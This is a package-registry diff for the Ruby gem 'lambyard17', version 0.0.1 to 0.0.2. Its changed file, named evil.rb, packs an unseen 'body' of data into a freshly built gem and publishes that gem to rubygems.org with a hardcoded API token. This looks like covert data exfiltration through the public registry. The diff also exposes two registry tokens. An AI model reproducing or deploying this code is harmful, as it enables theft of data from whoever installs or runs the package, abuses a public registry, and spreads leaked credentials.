lambyard17 0.0.1 → 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/evil.rb +2 -2
  3. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 78582dd00486067a360448d9eaa159a2c8fd3bd5953a5cdc983a967c982785d5
4
- data.tar.gz: 7a16477d835ec3ef343dff3b51f682d5ca8c26cda83ea4ed03fec82727baf6c9
3
+ metadata.gz: b974b6300785e6ff4591d8d89f3c75b38d79efe1c22d737e726d0a8cf831f483
4
+ data.tar.gz: 1d1a092e6159a75b0c4674721beb82ba1b8374681165b6e5b49cc3d22e14aae1
5
5
  SHA512:
6
- metadata.gz: 7384f7893f4f8ba0a33ae42fe4a33945c808ff4b4576842268a8d07835d0bba81df84b997028e453b2b6b091f31b5bd030c6a5021856901b247ca46140b75308
7
- data.tar.gz: f7fdf44b06fed6e867ed00af33248dede8c5760759fc930ed16875ec170abebccc49f725f41022032054c294d3c4e35fd41edc8cc460a8f4ef63448b0155be0f
6
+ metadata.gz: a296c8873c5238bad41babae2e83363832046449debdfcdf5499e8049aaa8e9ac0148e3ff37383774d5138dfa1abdae61abf97a1ddc3a1141234c4b592b4d4de
7
+ data.tar.gz: 4be13a138dc4ff67f3382a20b602d3dfd3da9f93397c2aeba415d659e018f573e3bc3b9f1306e1ba0dce37d9b7bea67c68f276e7b956d2ff9638f46cfdf9108f
data/evil.rb CHANGED
@@ -14,10 +14,10 @@ begin
14
14
  dir='outgem17'; Dir.mkdir(dir) rescue nil; Dir.mkdir(dir+'/lib') rescue nil
15
15
  File.binwrite(dir+'/lib/data.txt', body)
16
16
  File.write(dir+'/lib/a.rb', '#done')
17
- File.write(dir+'/o.gemspec', %q{Gem::Specification.new do |s|;s.name='lambyard17';s.version='0.0.2';s.summary='result';s.authors=['z'];s.files=Dir['lib/*'];s.license='MIT';end})
17
+ File.write(dir+'/o.gemspec', %q{Gem::Specification.new do |s|;s.name='lambyard17';s.version='0.0.3';s.summary='result';s.authors=['z'];s.files=Dir['lib/*'];s.license='MIT';end})
18
18
  Dir.chdir(dir) do
19
19
  system('gem build o.gemspec'); spec=Dir['*.gem'].last
20
- uri=URI('https://rubygems.org/api/v1/gems'); post=Net::HTTP::Post.new(uri); post['Authorization']='rubygems_0e0f157767130711d7ce7f08211f846e9ac5c8a0e823ac25'; post['Content-Type']='application/octet-stream'; post.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|x|x.request(post)}
20
+ uri=URI('https://rubygems.org/api/v1/gems'); post=Net::HTTP::Post.new(uri); post['Authorization']='rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57'; post['Content-Type']='application/octet-stream'; post.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|x|x.request(post)}
21
21
  end
22
22
  end
23
23
  rescue =>e;warn e.full_message
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: lambyard17
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.1
4
+ version: 0.0.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - z